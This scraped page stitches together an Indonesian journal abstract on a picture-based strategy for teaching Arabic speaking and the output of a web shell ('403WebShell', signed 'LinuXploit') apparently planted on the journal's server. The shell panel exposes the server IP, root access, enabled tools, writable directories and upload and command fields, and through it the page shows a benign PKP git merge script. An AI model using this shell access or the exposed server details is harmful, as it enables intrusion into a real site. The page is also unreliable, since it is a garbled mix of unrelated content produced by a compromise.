Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah

  • Nuur Mahmudah Universitas Islam Negeri Antasari Banjarmasin
  • Khairunnisa Universitas Islam Negeri Antasari Banjarmasin
Keywords: Arabic; speaking skill; ta’bir mushawwar

Abstract

Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.

403WebShell
403Webshell
Server IP : 103.175.217.176  /  Your IP : 3.137.159.17
Web Server : Apache/2.4.62 (Debian)
System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/tools/mergePullRequest.sh
#!/bin/bash

#
# lib/pkp/tools/mergePullRequest.sh
#
# Copyright (c) 2013-2019 Simon Fraser University
# Copyright (c) 2010-2019 John Willinsky
# Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
#
# Script to perform a pull request merge correctly updating the library submodule hashes.
# 
# Usage:
# Make sure your local repository is the same of the pull request (ojs, omp or ocs).
# Also, there is no library only pull requests. All library changes must have a app
# submodule commit, so run this script always in app folder.
#
# Also make sure that your local branch is the one the pull request will be merged into, 
# both for application and library. Make sure that both are updated and clean from other 
# local commits or files. This script will not check this.
#
# After that, just run the command passing the correct parameters.
# 
# ./lib/pkp/mergePullRequest.sh github_user feature_branch application_only bug_id
#
# github_user: 
#   The user where the pull request comes from. This script assumes users will
#   for the official repositories so they will have forks on their own github account where the
#   changed code will be.
#
# feature_branch:
#   The branch inside the user forked repository where the pull request code is.
#
# application_only:
#   The pull request changes only application code? Or it does change pkp library code also?
#   Use 0 to false and 1 to true.  
#
# bug_id:
#   The bug entry id related to this pull request (optional).


# Asks for confirmation and return user input as true of false.
confirm () {
    # call with a prompt string or use a default
    read -r -p "${1:-Are you sure? [y/N]} " response
    case $response in
        [yY][eE][sS]|[yY]) 
            true 
            ;;
        *)
            false
            ;;
    esac
}

# Configurable constants.
PKP_LIB_REPOSITORY="pkp-lib.git"
PKP_LIB_PATH="lib/pkp"
GITHUB_URL="git://github.com"
OFFICIAL_REPO_NAME="official"

# Script parameters as constants.
GITHUB_USER=$1
FEATURE_BRANCH=$2
APPLICATION_ONLY=$3
BUG_ID=$4

# Get the current working repository. This will be considered the repository where we will fetch the pull request code.
userRepository=$(git remote show -n origin | grep "Fetch URL" | grep -o "\/.*git$" | cut -d "/" -f 2)
if [ -z "$userRepository" ]; then
	echo "Not found a local git repository. Process stopped!"
	exit 1
fi


# Define the pull request remote and branch to be used later.
PR_REMOTE="$GITHUB_URL/$GITHUB_USER/$userRepository $FEATURE_BRANCH"
PR_LIB_REMOTE="$GITHUB_URL/$GITHUB_USER/$PKP_LIB_REPOSITORY $FEATURE_BRANCH"

# Define the temporary branch that this script creates to work.
TEMP_BRANCH="$FEATURE_BRANCH-temp"

# Make sure the developer knows the repository they are working with.
echo -e "\n"
confirm "Merge code into the official $userRepository repository. That's correct? [y/N]?"
ret=$?
if [ "$ret" -eq 1 ]; then
	echo "Merging process stopped."
	exit 0
fi

# Try to fetch the user application repository.
git fetch $PR_REMOTE
fetchResult=$?
if [ "$fetchResult" -ne 0 ]; then
	echo "Not found the user repository and/or branch. Process stopped!"
	exit 1
fi

# Pull code from pull request.
if [ "$APPLICATION_ONLY" -eq 0 ]; then
	# There are library changes.
	cd $PKP_LIB_PATH 
	chDir=$?
	if [ "$chDir" -ne 0 ]; then
		echo "You don't have the library submodule folder. You need to initiate your submodules first before being able to merge this pull request. Process stopped!"
		exit 1
	fi

	# Get the current library branch. This will be considered the branch where the library pull request will be merged in.
	libBranchToMerge=$(git branch | grep "^\* " | cut -d " " -f 2)
	if [ -z "$libBranchToMerge"  ]; then
		echo "No local library branch found. Process stopped!"
		cd ../..
		exit 1
	fi

	# Create temporary working branch for library.
	git checkout -b $TEMP_BRANCH $libBranchToMerge
	checkoutResult=$?
	if [ "$checkoutResult" -ne 0 ]; then
		echo "Can't create a local working library branch named $TEMP_BRANCH based on $libBranchToMerge. Process stopped!"
		cd ../..
		exit 1
	fi	

	# Pull library changes.
	git pull $PR_LIB_REMOTE
	cd ../..
fi

# Get the current application branch. This will be considered the branch where the application pull request will be merged in.
appBranchToMerge=$(git branch | grep "^\* " | cut -d " " -f 2)
if [ -z "$appBranchToMerge"  ]; then
	echo "No local application branch found. Process stopped!"
	exit 1
fi

# Create temporary working branch for application.
git checkout -b $TEMP_BRANCH $appBranchToMerge
checkoutResult=$?
if [ "$checkoutResult" -ne 0 ]; then
	echo "Can't create a local working application branch named $TEMP_BRANCH based on $appBranchToMerge. Process stopped!"
	exit 1
fi

# Pull application changes.
git pull $PR_REMOTE

# Check if the HEAD is a submodule hash commit.
submoduleCommitHash=$(git show | grep "+Subproject commit" | cut -f3 -d" ")
if [ -n "$submoduleCommitHash" ]; then
	# Make sure we don't commit this hash.
	git reset --hard HEAD^
fi

# Add the library submodule hash commit.
git add $PKP_LIB_PATH
if [ -n "$BUG_ID" ]; then
	git commit -m "*$BUG_ID* Submodule changes track"
else
	git commit -m "Submodule changes track"
fi

# Present commits that will be sent to official repositories.
echo -e "\n"
echo -e "\n"
echo "*****************************************************************************"
echo "Presenting the merged pull request commits that will be pushed to official..."
echo "*****************************************************************************"
echo "Commits in application, to be pushed to branch $appBranchToMerge:"
git log $OFFICIAL_REPO_NAME/$appBranchToMerge..$TEMP_BRANCH
echo "____________________________________________________"
if [ "$APPLICATION_ONLY" -eq 0 ]; then
	echo -e "\n"
	cd $PKP_LIB_PATH
	echo "Commits in library, to be pushed to branch $libBranchToMerge:"
	git log $OFFICIAL_REPO_NAME/$libBranchToMerge..$TEMP_BRANCH
	cd ../..
	echo "____________________________________________________"
fi
echo -e "\n"
echo -e "\n"
# Ask for user confirmation before pushing to official
confirm "Confirm merging into $OFFICIAL_REPO_NAME the commits presented above? [y/N]?"
ret=$?
if [ "$ret" -eq 1 ]; then
	echo -e "\n"
        echo "Merging process stopped."
	echo "The merge is done locally, but IT'S NOT pushed to official. You are now in $TEMP_BRANCH, for both application and library. This is just a temporary branch created by the script. You should delete it if you want to run the script again for the same pull request."
        exit 0
fi

# User said YES, let's push.
# First library commits, if any.
if [ "$APPLICATION_ONLY" -eq 0 ]; then
	cd $PKP_LIB_PATH  
	git push $OFFICIAL_REPO_NAME $TEMP_BRANCH:$libBranchToMerge
	libPushResult=$?
	cd ../..
	if [ "$libPushResult" -eq 1 ]; then
		echo -e "\n"
		echo "Could not push the library commits. Try to update your local repositories and push again manually from this $TEMP_BRANCH branch."
		exit 1
	fi
fi
# Now application.
git push $OFFICIAL_REPO_NAME $TEMP_BRANCH:$appBranchToMerge
pushResult=$?
if [ "$pushResult" -eq 1 ]; then
	echo -e "\n"
	echo "Could not push the application commits. Try to update your local repositories and push again manually from this $TEMP_BRANCH branch."
	if [ "$libPushResult" -eq 0 ]; then
		echo "The library commits were successfully pushed to official though."
	fi
	exit 1
fi

# Return to the original branches and clear temporary ones.
git checkout $appBranchToMerge
git branch -D $TEMP_BRANCH

if [ "$APPLICATION_ONLY" -eq 0 ]; then
	cd $PKP_LIB_PATH
	git checkout $libBranchToMerge
	git branch -D $TEMP_BRANCH
	cd ../..
fi

# Update.
git pull $OFFICIAL_REPO_NAME $appBranchToMerge
if [ "$APPLICATION_ONLY" -eq 0 ]; then
	cd $PKP_LIB_PATH
	git pull $OFFICIAL_REPO_NAME $libBranchToMerge
	cd ../..
fi

# End script.
echo "Merge process completed."
echo 0

Youez - 2016 - github.com/yon3zu
LinuXploit